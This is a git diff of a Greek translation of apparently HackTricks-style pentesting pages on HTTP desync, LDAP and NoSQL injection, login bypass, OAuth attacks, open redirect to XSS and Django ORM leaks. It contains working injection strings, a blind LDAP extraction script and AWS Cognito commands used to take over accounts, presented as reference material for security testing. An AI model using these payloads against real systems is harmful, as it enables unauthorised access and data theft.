Επιπλέον, αν ο **επιτιθέμενος εκτελέσει ένα αίτημα** και η **νόμιμη απάντηση** στο **αίτημα του θύματος** **απαντηθεί** **πριν** από το αίτημα του επιτιθέμενου. Η **απάντηση στο θύμα θα σταλεί στον επιτιθέμενο**, **κλέβοντας** την απάντηση προς το θύμα (η οποία μπορεί να περιέχει για παράδειγμα την κεφαλίδα **Set-Cookie**).
|
||||
Επιπλέον, αν ο **επιτιθέμενος εκτελέσει ένα αίτημα** και η **νόμιμη απάντηση** στο **αίτημα** του **θύματος** **απαντηθεί** **πριν** από το αίτημα του επιτιθέμενου. Η **απάντηση στο θύμα θα σταλεί στον επιτιθέμενο**, **κλέβοντας** την απάντηση προς το θύμα (η οποία μπορεί να περιέχει για παράδειγμα την κεφαλίδα **Set-Cookie**).
|
||||
|
||||
.png>)
|
||||
|
||||
@ -66,7 +66,7 @@ HTTP/1.1 επιτρέπει να ζητάμε **διαφορετικούς πό
|
||||
|
||||
Αλλά είναι ακόμα δυνατό να **αποσυγχρονίσουμε ακόμα** περισσότερες απαντήσεις.
|
||||
|
||||
Υπάρχουν ενδιαφέροντα αιτήματα όπως το **HEAD** αίτημα που καθορίζεται ότι δεν πρέπει να έχει **κανένα περιεχόμενο μέσα στο σώμα των απαντήσεων** και ότι θα πρέπει (πρέπει) να **περιέχει την Content-Length** του αιτήματος όπως **αν ήταν ένα GET αίτημα**.
|
||||
Υπάρχουν ενδιαφέροντα αιτήματα όπως το **HEAD** αίτημα που καθορίζεται να μην έχει **κανένα περιεχόμενο μέσα στο σώμα των απαντήσεων** και που θα πρέπει (πρέπει) να **περιέχει την Content-Length** του αιτήματος όπως **αν ήταν ένα GET αίτημα**.
|
||||
|
||||
Επομένως, αν ένας επιτιθέμενος **εισάγει** ένα **HEAD** αίτημα, όπως στις παρακάτω εικόνες:
|
||||
|
||||
@ -111,7 +111,7 @@ HTTP/1.1 επιτρέπει να ζητάμε **διαφορετικούς πό
|
||||
|
||||
Ο **στόχος** αυτής της επίθεσης είναι να καταχραστεί ξανά την **αποσυγχρονισμένη** **απάντηση** προκειμένου να **κάνει τον proxy να στείλει μια 100% απάντηση που έχει δημιουργηθεί από τον επιτιθέμενο**.
|
||||
|
||||
Για να το πετύχει αυτό, ο επιτιθέμενος πρέπει να βρει ένα endpoint της διαδικτυακής εφαρμογής που **αντικατοπτρίζει κάποιες τιμές μέσα στην απάντηση** και **να γνωρίζει την Content-Length της HEAD απάντησης**.
|
||||
Για να το επιτύχει αυτό, ο επιτιθέμενος πρέπει να βρει ένα endpoint της διαδικτυακής εφαρμογής που **αντικατοπτρίζει κάποιες τιμές μέσα στην απάντηση** και **να γνωρίζει την Content-Length της HEAD απάντησης**.
|
||||
|
||||
Θα στείλει ένα **exploit** όπως:
|
||||
|
||||
@ -121,7 +121,7 @@ HTTP/1.1 επιτρέπει να ζητάμε **διαφορετικούς πό
|
||||
|
||||
.png>)
|
||||
|
||||
Το θύμα θα λάβει ως απάντηση την **HEAD απάντηση + το περιεχόμενο της απάντησης του δεύτερου αιτήματος (που περιέχει μέρος των ανακλαστικών δεδομένων):**
|
||||
Το θύμα θα λάβει ως απάντηση την **HEAD απάντηση + το περιεχόμενο της δεύτερης απάντησης (περιέχοντας μέρος των ανακλαστικών δεδομένων):**
|
||||
|
||||
.png>)
|
||||
|
||||
|
@ -14,7 +14,7 @@
|
||||
../network-services-pentesting/pentesting-ldap.md
|
||||
{{#endref}}
|
||||
|
||||
**LDAP Injection** είναι μια επίθεση που στοχεύει σε διαδικτυακές εφαρμογές που κατασκευάζουν δηλώσεις LDAP από είσοδο χρηστών. Συμβαίνει όταν η εφαρμογή **αποτυγχάνει να καθαρίσει σωστά** την είσοδο, επιτρέποντας στους επιτιθέμενους να **χειριστούν δηλώσεις LDAP** μέσω τοπικού proxy, ενδεχομένως οδηγώντας σε μη εξουσιοδοτημένη πρόσβαση ή χειρισμό δεδομένων.
|
||||
**LDAP Injection** είναι μια επίθεση που στοχεύει σε διαδικτυακές εφαρμογές που κατασκευάζουν δηλώσεις LDAP από την είσοδο του χρήστη. Συμβαίνει όταν η εφαρμογή **αποτυγχάνει να καθαρίσει σωστά** την είσοδο, επιτρέποντας στους επιτιθέμενους να **χειραγωγήσουν τις δηλώσεις LDAP** μέσω ενός τοπικού proxy, ενδεχομένως οδηγώντας σε μη εξουσιοδοτημένη πρόσβαση ή χειραγώγηση δεδομένων.
|
||||
|
||||
{% file src="../images/EN-Blackhat-Europe-2008-LDAP-Injection-Blind-LDAP-Injection.pdf" %}
|
||||
|
||||
@ -41,10 +41,10 @@
|
||||
Μπορείτε να έχετε πρόσβαση στη βάση δεδομένων, και αυτή μπορεί να περιέχει πληροφορίες από πολλούς διαφορετικούς τύπους.
|
||||
|
||||
**OpenLDAP**: Αν φτάσουν 2 φίλτρα, εκτελεί μόνο το πρώτο.\
|
||||
**ADAM ή Microsoft LDS**: Με 2 φίλτρα ρίχνουν ένα σφάλμα.\
|
||||
**ADAM ή Microsoft LDS**: Με 2 φίλτρα ρίχνουν σφάλμα.\
|
||||
**SunOne Directory Server 5.0**: Εκτελεί και τα δύο φίλτρα.
|
||||
|
||||
**Είναι πολύ σημαντικό να στείλετε το φίλτρο με σωστή σύνταξη ή θα προκύψει σφάλμα. Είναι καλύτερα να στείλετε μόνο 1 φίλτρο.**
|
||||
**Είναι πολύ σημαντικό να στείλετε το φίλτρο με σωστή σύνταξη ή θα προκληθεί σφάλμα. Είναι καλύτερα να στείλετε μόνο 1 φίλτρο.**
|
||||
|
||||
Το φίλτρο πρέπει να ξεκινά με: `&` ή `|`\
|
||||
Παράδειγμα: `(&(directory=val1)(folder=public))`
|
||||
@ -148,7 +148,7 @@ Final query: (&(objectClass= void)(objectClass=void))(&objectClass=void )(type=P
|
||||
|
||||
#### **Ανακάλυψη έγκυρων πεδίων LDAP**
|
||||
|
||||
Τα αντικείμενα LDAP **περιέχουν από προεπιλογή αρκετά χαρακτηριστικά** που θα μπορούσαν να χρησιμοποιηθούν για **να αποθηκεύσουν πληροφορίες**. Μπορείτε να προσπαθήσετε να **επιτεθείτε σε όλα αυτά για να εξαγάγετε αυτές τις πληροφορίες.** Μπορείτε να βρείτε μια λίστα με [**προεπιλεγμένα χαρακτηριστικά LDAP εδώ**](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/LDAP%20Injection/Intruder/LDAP_attributes.txt).
|
||||
Τα αντικείμενα LDAP **περιέχουν από προεπιλογή αρκετά χαρακτηριστικά** που θα μπορούσαν να χρησιμοποιηθούν για **να αποθηκεύσουν πληροφορίες**. Μπορείτε να προσπαθήσετε να **επιτεθείτε σε όλα αυτά για να εξάγετε αυτές τις πληροφορίες.** Μπορείτε να βρείτε μια λίστα με [**τα προεπιλεγμένα χαρακτηριστικά LDAP εδώ**](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/LDAP%20Injection/Intruder/LDAP_attributes.txt).
|
||||
```python
|
||||
#!/usr/bin/python3
|
||||
import requests
|
||||
@ -180,7 +180,7 @@ if char == alphabet[-1]: #If last of all the chars, then, no more chars in the v
|
||||
finish = True
|
||||
print()
|
||||
```
|
||||
#### **Ειδική Τυφλή LDAP Εισαγωγή (χωρίς "\*")**
|
||||
#### **Ειδική Τυφλή LDAP Injection (χωρίς "\*")**
|
||||
```python
|
||||
#!/usr/bin/python3
|
||||
|
||||
|
@ -25,7 +25,7 @@
|
||||
|
||||
### SQL Injection authentication bypass
|
||||
|
||||
[Εδώ μπορείτε να βρείτε διάφορα κόλπα για να παρακάμψετε τη σύνδεση μέσω **SQL injections**](../sql-injection/#authentication-bypass).
|
||||
[Εδώ μπορείτε να βρείτε αρκετές τεχνικές για να παρακάμψετε τη σύνδεση μέσω **SQL injections**](../sql-injection/#authentication-bypass).
|
||||
|
||||
Στην επόμενη σελίδα μπορείτε να βρείτε μια **προσαρμοσμένη λίστα για να προσπαθήσετε να παρακάμψετε τη σύνδεση** μέσω SQL Injections:
|
||||
|
||||
@ -35,13 +35,13 @@ sql-login-bypass.md
|
||||
|
||||
### No SQL Injection authentication bypass
|
||||
|
||||
[Εδώ μπορείτε να βρείτε διάφορα κόλπα για να παρακάμψετε τη σύνδεση μέσω **No SQL Injections**](../nosql-injection.md#basic-authentication-bypass)**.**
|
||||
[Εδώ μπορείτε να βρείτε αρκετές τεχνικές για να παρακάμψετε τη σύνδεση μέσω **No SQL Injections**](../nosql-injection.md#basic-authentication-bypass)**.**
|
||||
|
||||
Καθώς οι NoSQL Injections απαιτούν να αλλάξετε την τιμή των παραμέτρων, θα χρειαστεί να τις δοκιμάσετε χειροκίνητα.
|
||||
|
||||
### XPath Injection authentication bypass
|
||||
|
||||
[Εδώ μπορείτε να βρείτε διάφορα κόλπα για να παρακάμψετε τη σύνδεση μέσω **XPath Injection.**](../xpath-injection.md#authentication-bypass)
|
||||
[Εδώ μπορείτε να βρείτε αρκετές τεχνικές για να παρακάμψετε τη σύνδεση μέσω **XPath Injection.**](../xpath-injection.md#authentication-bypass)
|
||||
```
|
||||
' or '1'='1
|
||||
' or ''='
|
||||
@ -75,7 +75,7 @@ admin))(|(|
|
||||
```
|
||||
### Θυμήσου Με
|
||||
|
||||
Αν η σελίδα έχει λειτουργία "**Θυμήσου Με**", έλεγξε πώς είναι υλοποιημένη και δες αν μπορείς να την εκμεταλλευτείς για να **καταλάβεις άλλους λογαριασμούς**.
|
||||
Αν η σελίδα έχει λειτουργία "**Θυμήσου Με**", έλεγξε πώς είναι υλοποιημένη και δες αν μπορείς να την εκμεταλλευτείς για να **αναλάβεις άλλους λογαριασμούς**.
|
||||
|
||||
### Ανακατευθύνσεις
|
||||
|
||||
@ -84,7 +84,7 @@ admin))(|(|
|
||||
## Άλλοι Έλεγχοι
|
||||
|
||||
- Έλεγξε αν μπορείς να **αριθμήσεις ονόματα χρηστών** εκμεταλλευόμενος τη λειτουργία εισόδου.
|
||||
- Έλεγξε αν είναι ενεργοποιημένο το **αυτόματη συμπλήρωση** στις φόρμες κωδικού/**ευαίσθητων** πληροφοριών **εισόδου:** `<input autocomplete="false">`
|
||||
- Έλεγξε αν η **αυτόματη συμπλήρωση** είναι ενεργή στις φόρμες κωδικού/**ευαίσθητης** πληροφορίας **εισόδου:** `<input autocomplete="false">`
|
||||
|
||||
## Αυτόματα Εργαλεία
|
||||
|
||||
|
@ -35,12 +35,12 @@ username[$exists]=true&password[$exists]=true
|
||||
```javascript
|
||||
query = { $where: `this.username == '${username}'` }
|
||||
```
|
||||
Ένας επιτιθέμενος μπορεί να εκμεταλλευτεί αυτό εισάγοντας συμβολοσειρές όπως `admin' || 'a'=='a`, κάνοντάς την ερώτηση να επιστρέψει όλα τα έγγραφα ικανοποιώντας την προϋπόθεση με μια ταυτολογία (`'a'=='a'`). Αυτό είναι ανάλογο με τις επιθέσεις SQL injection όπου χρησιμοποιούνται είσοδοι όπως `' or 1=1-- -` για να χειραγωγήσουν τις SQL ερωτήσεις. Στο MongoDB, παρόμοιες επιθέσεις μπορούν να γίνουν χρησιμοποιώντας εισόδους όπως `' || 1==1//`, `' || 1==1%00`, ή `admin' || 'a'=='a`.
|
||||
Ένας επιτιθέμενος μπορεί να εκμεταλλευτεί αυτό εισάγοντας συμβολοσειρές όπως `admin' || 'a'=='a`, κάνοντάς την ερώτηση να επιστρέψει όλα τα έγγραφα ικανοποιώντας την προϋπόθεση με μια ταυτολογία (`'a'=='a'`). Αυτό είναι ανάλογο με τις επιθέσεις SQL injection όπου χρησιμοποιούνται είσοδοι όπως `' or 1=1-- -` για να χειραγωγήσουν τις SQL ερωτήσεις. Στο MongoDB, παρόμοιες εισβολές μπορούν να γίνουν χρησιμοποιώντας εισόδους όπως `' || 1==1//`, `' || 1==1%00`, ή `admin' || 'a'=='a`.
|
||||
```
|
||||
Normal sql: ' or 1=1-- -
|
||||
Mongo sql: ' || 1==1// or ' || 1==1%00 or admin' || 'a'=='a
|
||||
```
|
||||
### Εξαγωγή **μήκους** πληροφοριών
|
||||
### Εξαγωγή πληροφοριών **μήκους**
|
||||
```bash
|
||||
username[$ne]=toto&password[$regex]=.{1}
|
||||
username[$ne]=toto&password[$regex]=.{3}
|
||||
@ -86,7 +86,7 @@ in JSON
|
||||
|
||||
### Λάβετε πληροφορίες από διαφορετική συλλογή
|
||||
|
||||
Είναι δυνατόν να χρησιμοποιήσετε [**$lookup**](https://www.mongodb.com/docs/manual/reference/operator/aggregation/lookup/) για να λάβετε πληροφορίες από μια διαφορετική συλλογή. Στο παρακάτω παράδειγμα, διαβάζουμε από μια **διαφορετική συλλογή** που ονομάζεται **`users`** και λαμβάνουμε τα **αποτελέσματα όλων των καταχωρήσεων** με έναν κωδικό πρόσβασης που ταιριάζει με ένα wildcard.
|
||||
Είναι δυνατόν να χρησιμοποιήσετε [**$lookup**](https://www.mongodb.com/docs/manual/reference/operator/aggregation/lookup/) για να λάβετε πληροφορίες από μια διαφορετική συλλογή. Στο παρακάτω παράδειγμα, διαβάζουμε από μια **διαφορετική συλλογή** που ονομάζεται **`users`** και λαμβάνουμε τα **αποτελέσματα όλων των καταχωρίσεων** με έναν κωδικό πρόσβασης που ταιριάζει με ένα wildcard.
|
||||
|
||||
**ΣΗΜΕΙΩΣΗ:** `$lookup` και άλλες συναρτήσεις συγχώνευσης είναι διαθέσιμες μόνο αν χρησιμοποιήθηκε η συνάρτηση `aggregate()` για να εκτελέσει την αναζήτηση αντί των πιο κοινών συναρτήσεων `find()` ή `findOne()`.
|
||||
```json
|
||||
|
@ -7,7 +7,7 @@
|
||||
|
||||
Το OAuth προσφέρει διάφορες εκδόσεις, με θεμελιώδεις πληροφορίες διαθέσιμες στην [OAuth 2.0 documentation](https://oauth.net/2/). Αυτή η συζήτηση επικεντρώνεται κυρίως στον ευρέως χρησιμοποιούμενο [OAuth 2.0 authorization code grant type](https://oauth.net/2/grant-types/authorization-code/), παρέχοντας ένα **πλαίσιο εξουσιοδότησης που επιτρέπει σε μια εφαρμογή να έχει πρόσβαση ή να εκτελεί ενέργειες στον λογαριασμό ενός χρήστη σε άλλη εφαρμογή** (ο εξουσιοδοτικός διακομιστής).
|
||||
|
||||
Σκεφτείτε μια υποθετική ιστοσελίδα _**https://example.com**_, σχεδιασμένη να **παρουσιάζει όλες τις αναρτήσεις σας στα κοινωνικά δίκτυα**, συμπεριλαμβανομένων των ιδιωτικών. Για να το επιτύχει αυτό, χρησιμοποιείται το OAuth 2.0. _https://example.com_ θα ζητήσει την άδειά σας να **έχει πρόσβαση στις αναρτήσεις σας στα κοινωνικά δίκτυα**. Ως εκ τούτου, θα εμφανιστεί μια οθόνη συγκατάθεσης στο _https://socialmedia.com_, περιγράφοντας τις **άδειες που ζητούνται και τον προγραμματιστή που υποβάλλει το αίτημα**. Μετά την εξουσιοδότησή σας, το _https://example.com_ αποκτά τη δυνατότητα να **έχει πρόσβαση στις αναρτήσεις σας εκ μέρους σας**.
|
||||
Σκεφτείτε μια υποθετική ιστοσελίδα _**https://example.com**_, σχεδιασμένη να **παρουσιάζει όλες τις αναρτήσεις σας στα κοινωνικά δίκτυα**, συμπεριλαμβανομένων των ιδιωτικών. Για να το επιτύχει αυτό, χρησιμοποιείται το OAuth 2.0. _https://example.com_ θα ζητήσει την άδειά σας να **έχει πρόσβαση στις αναρτήσεις σας στα κοινωνικά δίκτυα**. Ως αποτέλεσμα, θα εμφανιστεί μια οθόνη συγκατάθεσης στο _https://socialmedia.com_, περιγράφοντας τις **άδειες που ζητούνται και τον προγραμματιστή που υποβάλλει το αίτημα**. Μετά την εξουσιοδότησή σας, το _https://example.com_ αποκτά τη δυνατότητα να **έχει πρόσβαση στις αναρτήσεις σας εκ μέρους σας**.
|
||||
|
||||
Είναι σημαντικό να κατανοήσετε τα εξής στοιχεία μέσα στο πλαίσιο του OAuth 2.0:
|
||||
|
||||
@ -45,7 +45,7 @@ https://socialmedia.com/auth
|
||||
```
|
||||
https://example.com?code=uniqueCode123&state=randomString123
|
||||
```
|
||||
5. https://example.com χρησιμοποιεί αυτό το `code`, μαζί με το `client_id` και το `client_secret`, για να κάνει ένα αίτημα από τον διακομιστή για να αποκτήσει ένα `access_token` εκ μέρους σας, επιτρέποντας την πρόσβαση στις άδειες που έχετε συμφωνήσει:
|
||||
5. https://example.com χρησιμοποιεί αυτό το `code`, μαζί με το `client_id` και το `client_secret`, για να κάνει ένα αίτημα από τον διακομιστή για να αποκτήσει ένα `access_token` εκ μέρους σας, επιτρέποντας την πρόσβαση στις άδειες που έχετε συναινέσει:
|
||||
```
|
||||
POST /oauth/access_token
|
||||
Host: socialmedia.com
|
||||
@ -83,14 +83,14 @@ https://app.victim.com/login?redirectUrl=https://app.victim.com/dashboard</scrip
|
||||
|
||||
### Προκαταλήψεις Λογαριασμού <a href="#ebe4" id="ebe4"></a>
|
||||
|
||||
1. **Χωρίς Επικύρωση Email κατά τη Δημιουργία Λογαριασμού**: Οι επιτιθέμενοι μπορούν να δημιουργήσουν προληπτικά έναν λογαριασμό χρησιμοποιώντας το email του θύματος. Εάν το θύμα αργότερα χρησιμοποιήσει μια υπηρεσία τρίτου μέρους για σύνδεση, η εφαρμογή μπορεί ακούσια να συνδέσει αυτόν τον λογαριασμό τρίτου μέρους με τον προδημιουργημένο λογαριασμό του επιτιθέμενου, οδηγώντας σε μη εξουσιοδοτημένη πρόσβαση.
|
||||
2. **Εκμετάλλευση Χαλαρής Επικύρωσης Email OAuth**: Οι επιτιθέμενοι μπορεί να εκμεταλλευτούν υπηρεσίες OAuth που δεν επικυρώνουν emails, εγγραφόμενοι με την υπηρεσία τους και στη συνέχεια αλλάζοντας το email του λογαριασμού στο email του θύματος. Αυτή η μέθοδος κινδυνεύει επίσης με μη εξουσιοδοτημένη πρόσβαση στον λογαριασμό, παρόμοια με το πρώτο σενάριο αλλά μέσω διαφορετικού επιθετικού διαύλου.
|
||||
1. **Χωρίς Επικύρωση Email κατά τη Δημιουργία Λογαριασμού**: Οι επιτιθέμενοι μπορούν προληπτικά να δημιουργήσουν έναν λογαριασμό χρησιμοποιώντας το email του θύματος. Εάν το θύμα αργότερα χρησιμοποιήσει μια υπηρεσία τρίτου μέρους για σύνδεση, η εφαρμογή μπορεί ακούσια να συνδέσει αυτόν τον λογαριασμό τρίτου μέρους με τον προδημιουργημένο λογαριασμό του επιτιθέμενου, οδηγώντας σε μη εξουσιοδοτημένη πρόσβαση.
|
||||
2. **Εκμετάλλευση Χαλαρής Επικύρωσης Email OAuth**: Οι επιτιθέμενοι μπορεί να εκμεταλλευτούν υπηρεσίες OAuth που δεν επικυρώνουν τα emails, εγγραφόμενοι με την υπηρεσία τους και στη συνέχεια αλλάζοντας το email του λογαριασμού στο email του θύματος. Αυτή η μέθοδος κινδυνεύει επίσης με μη εξουσιοδοτημένη πρόσβαση στον λογαριασμό, παρόμοια με το πρώτο σενάριο αλλά μέσω διαφορετικού επιθετικού διαύλου.
|
||||
|
||||
### Αποκάλυψη Μυστικών <a href="#e177" id="e177"></a>
|
||||
|
||||
Η αναγνώριση και η προστασία των μυστικών παραμέτρων OAuth είναι κρίσιμη. Ενώ η **`client_id`** μπορεί να αποκαλυφθεί με ασφάλεια, η αποκάλυψη της **`client_secret`** ενέχει σημαντικούς κινδύνους. Εάν η `client_secret` παραβιαστεί, οι επιτιθέμενοι μπορούν να εκμεταλλευτούν την ταυτότητα και την εμπιστοσύνη της εφαρμογής για να **κλέψουν τα `access_tokens` χρηστών** και ιδιωτικές πληροφορίες.
|
||||
|
||||
Μια κοινή ευπάθεια προκύπτει όταν οι εφαρμογές χειρίζονται κατά λάθος την ανταλλαγή του κωδικού εξουσιοδότησης για ένα `access_token` στην πλευρά του πελάτη αντί στην πλευρά του διακομιστή. Αυτό το λάθος οδηγεί στην έκθεση της `client_secret`, επιτρέποντας στους επιτιθέμενους να δημιουργήσουν `access_tokens` υπό την κάλυψη της εφαρμογής. Επιπλέον, μέσω κοινωνικής μηχανικής, οι επιτιθέμενοι θα μπορούσαν να κλιμακώσουν τα προνόμια προσθέτοντας επιπλέον πεδία στην εξουσιοδότηση OAuth, εκμεταλλευόμενοι περαιτέρω την εμπιστοσύνη της εφαρμογής.
|
||||
Μια κοινή ευπάθεια προκύπτει όταν οι εφαρμογές χειρίζονται κατά λάθος την ανταλλαγή του `code` εξουσιοδότησης για ένα `access_token` στην πλευρά του πελάτη αντί στην πλευρά του διακομιστή. Αυτό το λάθος οδηγεί στην έκθεση της `client_secret`, επιτρέποντας στους επιτιθέμενους να δημιουργήσουν `access_tokens` υπό την κάλυψη της εφαρμογής. Επιπλέον, μέσω κοινωνικής μηχανικής, οι επιτιθέμενοι θα μπορούσαν να κλιμακώσουν τα προνόμια προσθέτοντας επιπλέον πεδία στην εξουσιοδότηση OAuth, εκμεταλλευόμενοι περαιτέρω την εμπιστοσύνη της εφαρμογής.
|
||||
|
||||
### Bruteforce Client Secret
|
||||
|
||||
@ -127,7 +127,7 @@ code=77515&redirect_uri=http%3A%2F%2F10.10.10.10%3A3000%2Fcallback&grant_type=au
|
||||
|
||||
### AWS Cognito <a href="#bda5" id="bda5"></a>
|
||||
|
||||
Σε αυτή την αναφορά bug bounty: [**https://security.lauritz-holtmann.de/advisories/flickr-account-takeover/**](https://security.lauritz-holtmann.de/advisories/flickr-account-takeover/) μπορείτε να δείτε ότι το **token** που **επιστρέφει το AWS Cognito** στον χρήστη μπορεί να έχει **αρκετές άδειες για να αντικαταστήσει τα δεδομένα του χρήστη**. Επομένως, αν μπορείτε να **αλλάξετε το email του χρήστη για ένα διαφορετικό email χρήστη**, μπορεί να είστε σε θέση να **αναλάβετε** άλλους λογαριασμούς.
|
||||
Σε αυτή την αναφορά bug bounty: [**https://security.lauritz-holtmann.de/advisories/flickr-account-takeover/**](https://security.lauritz-holtmann.de/advisories/flickr-account-takeover/) μπορείτε να δείτε ότι το **token** που επιστρέφει ο **AWS Cognito** μπορεί να έχει **αρκετές άδειες για να αντικαταστήσει τα δεδομένα του χρήστη**. Επομένως, αν μπορείτε να **αλλάξετε το email του χρήστη για ένα διαφορετικό email χρήστη**, μπορεί να είστε σε θέση να **αναλάβετε** άλλους λογαριασμούς.
|
||||
```bash
|
||||
# Read info of the user
|
||||
aws cognito-idp get-user --region us-east-1 --access-token eyJraWQiOiJPVj[...]
|
||||
@ -187,13 +187,13 @@ aws cognito-idp update-user-attributes --region us-east-1 --access-token eyJraWQ
|
||||
1. Το θύμα αποκτά πρόσβαση στην ιστοσελίδα του επιτιθέμενου
|
||||
2. Το θύμα ανοίγει τον κακόβουλο σύνδεσμο και ένας opener ξεκινά τη ροή Google OAuth με `response_type=id_token,code&prompt=none` ως πρόσθετες παραμέτρους χρησιμοποιώντας ως **παραπομπέα την ιστοσελίδα του επιτιθέμενου**.
|
||||
3. Στον opener, αφού ο πάροχος εξουσιοδοτήσει το θύμα, το στέλνει πίσω στην τιμή της παραμέτρου `redirect_uri` (ιστοσελίδα θύματος) με κωδικό 30X που διατηρεί ακόμα την ιστοσελίδα του επιτιθέμενου στον παραπομπέα.
|
||||
4. Η ιστοσελίδα του θύματος ενεργοποιεί την ανοιχτή ανακατεύθυνση με βάση τον παραπομπέα, ανακατευθύνοντας τον χρήστη του θύματος στην ιστοσελίδα του επιτιθέμενου, καθώς το **`respose_type`** ήταν **`id_token,code`**, ο κωδικός θα σταλεί πίσω στον επιτιθέμενο στο **τμήμα** της διεύθυνσης URL επιτρέποντάς του να αναλάβει τον λογαριασμό του χρήστη μέσω Google στην ιστοσελίδα του θύματος.
|
||||
4. Η ιστοσελίδα του θύματος **ενεργοποιεί το open redirect με βάση τον παραπομπέα** ανακατευθύνοντας τον χρήστη του θύματος στην ιστοσελίδα του επιτιθέμενου, καθώς το **`respose_type`** ήταν **`id_token,code`**, ο κωδικός θα σταλεί πίσω στον επιτιθέμενο στο **τμήμα** της διεύθυνσης URL επιτρέποντάς του να αναλάβει τον λογαριασμό του χρήστη μέσω Google στην ιστοσελίδα του θύματος.
|
||||
|
||||
### Παράμετροι SSRFs <a href="#bda5" id="bda5"></a>
|
||||
|
||||
[**Ελέγξτε αυτή την έρευνα**](https://portswigger.net/research/hidden-oauth-attack-vectors) **Για περισσότερες λεπτομέρειες σχετικά με αυτή την τεχνική.**
|
||||
|
||||
Η Δυναμική Εγγραφή Πελάτη στο OAuth λειτουργεί ως λιγότερο προφανής αλλά κρίσιμη διαδρομή για ευπάθειες ασφαλείας, ειδικά για επιθέσεις **Server-Side Request Forgery (SSRF)**. Αυτό το endpoint επιτρέπει στους διακομιστές OAuth να λαμβάνουν λεπτομέρειες σχετικά με τις εφαρμογές πελατών, συμπεριλαμβανομένων ευαίσθητων URL που θα μπορούσαν να εκμεταλλευτούν.
|
||||
Η Δυναμική Εγγραφή Πελάτη στο OAuth λειτουργεί ως λιγότερο προφανής αλλά κρίσιμος παράγοντας για τις ευπάθειες ασφαλείας, ειδικά για επιθέσεις **Server-Side Request Forgery (SSRF)**. Αυτό το endpoint επιτρέπει στους διακομιστές OAuth να λαμβάνουν λεπτομέρειες σχετικά με τις εφαρμογές πελατών, συμπεριλαμβανομένων ευαίσθητων URL που θα μπορούσαν να εκμεταλλευτούν.
|
||||
|
||||
**Κύρια Σημεία:**
|
||||
|
||||
@ -203,16 +203,16 @@ aws cognito-idp update-user-attributes --region us-east-1 --access-token eyJraWQ
|
||||
- **`logo_uri`**: Ένα URL για το λογότυπο της εφαρμογής πελάτη που μπορεί να ανακτηθεί από τον διακομιστή, προκαλώντας SSRF ή οδηγώντας σε XSS αν το URL δεν διαχειριστεί σωστά.
|
||||
- **`jwks_uri`**: Ένα URL στο έγγραφο JWK του πελάτη, το οποίο αν κατασκευαστεί κακόβουλα, μπορεί να προκαλέσει τον διακομιστή να κάνει εξωτερικά αιτήματα σε έναν διακομιστή που ελέγχεται από τον επιτιθέμενο.
|
||||
- **`sector_identifier_uri`**: Αναφέρεται σε έναν πίνακα JSON των `redirect_uris`, τον οποίο ο διακομιστής μπορεί να ανακτήσει, δημιουργώντας μια ευκαιρία SSRF.
|
||||
- **`request_uris`**: Λίστα επιτρεπόμενων URI αιτημάτων για τον πελάτη, που μπορεί να εκμεταλλευτεί αν ο διακομιστής ανακτήσει αυτά τα URI στην αρχή της διαδικασίας εξουσιοδότησης.
|
||||
- **`request_uris`**: Λίστα επιτρεπόμενων URI αιτημάτων για τον πελάτη, που μπορεί να εκμεταλλευτεί αν ο διακομιστής ανακτήσει αυτές τις URI στην αρχή της διαδικασίας εξουσιοδότησης.
|
||||
|
||||
**Στρατηγική Εκμετάλλευσης:**
|
||||
|
||||
- Το SSRF μπορεί να ενεργοποιηθεί καταχωρώντας έναν νέο πελάτη με κακόβουλα URLs σε παραμέτρους όπως `logo_uri`, `jwks_uri`, ή `sector_identifier_uri`.
|
||||
- Ενώ η άμεση εκμετάλλευση μέσω `request_uris` μπορεί να μετριαστεί με ελέγχους λευκής λίστας, η παροχή ενός προεγγεγραμμένου, ελεγχόμενου από τον επιτιθέμενο `request_uri` μπορεί να διευκολύνει το SSRF κατά τη διάρκεια της φάσης εξουσιοδότησης.
|
||||
- Ενώ η άμεση εκμετάλλευση μέσω `request_uris` μπορεί να μετριαστεί από ελέγχους λευκής λίστας, η παροχή μιας προεγγεγραμμένης, ελεγχόμενης από τον επιτιθέμενο `request_uri` μπορεί να διευκολύνει το SSRF κατά τη διάρκεια της φάσης εξουσιοδότησης.
|
||||
|
||||
## Συνθήκες Αγώνα Παρόχων OAuth
|
||||
|
||||
Αν η πλατφόρμα που δοκιμάζετε είναι πάροχος OAuth [**διαβάστε αυτό για να δοκιμάσετε πιθανές Συνθήκες Αγώνα**](race-condition.md).
|
||||
Αν η πλατφόρμα που δοκιμάζετε είναι ένας πάροχος OAuth [**διαβάστε αυτό για να δοκιμάσετε πιθανές Συνθήκες Αγώνα**](race-condition.md).
|
||||
|
||||
## Αναφορές
|
||||
|
||||
|
@ -11,7 +11,7 @@
|
||||
ssrf-server-side-request-forgery/url-format-bypass.md
|
||||
{{#endref}}
|
||||
|
||||
### Ανοιχτή ανακατεύθυνση σε XSS
|
||||
### Ανοιχτή Ανακατεύθυνση σε XSS
|
||||
```bash
|
||||
#Basic payload, javascript code is executed after "javascript:"
|
||||
javascript:alert(1)
|
||||
|
@ -9,7 +9,7 @@ In [**this post**](https://www.elttam.com/blog/plormbing-your-django-orm/) εξ
|
||||
<pre class="language-python"><code class="lang-python">class ArticleView(APIView):
|
||||
"""
|
||||
Μια βασική API view στην οποία οι χρήστες στέλνουν αιτήματα για
|
||||
να αναζητήσουν άρθρα
|
||||
αναζήτηση άρθρων
|
||||
"""
|
||||
def post(self, request: Request, format=None):
|
||||
try:
|
||||
@ -34,7 +34,7 @@ return Response(serializer.data)
|
||||
> [!CAUTION]
|
||||
> Είναι δυνατόν να γίνει brute-force στον κωδικό πρόσβασης μέχρι να διαρρεύσει.
|
||||
|
||||
- **Σχεσιακή φιλτράρισμα**: Είναι δυνατόν να διασχίσετε σχέσεις προκειμένου να διαρρεύσουν πληροφορίες από στήλες που δεν αναμένονταν καν να χρησιμοποιηθούν στην επιχείρηση. Για παράδειγμα, αν είναι δυνατόν να διαρρεύσουν άρθρα που δημιουργήθηκαν από έναν χρήστη με αυτές τις σχέσεις: Article(`created_by`) -\[1..1]-> Author (`user`) -\[1..1]-> User(`password`).
|
||||
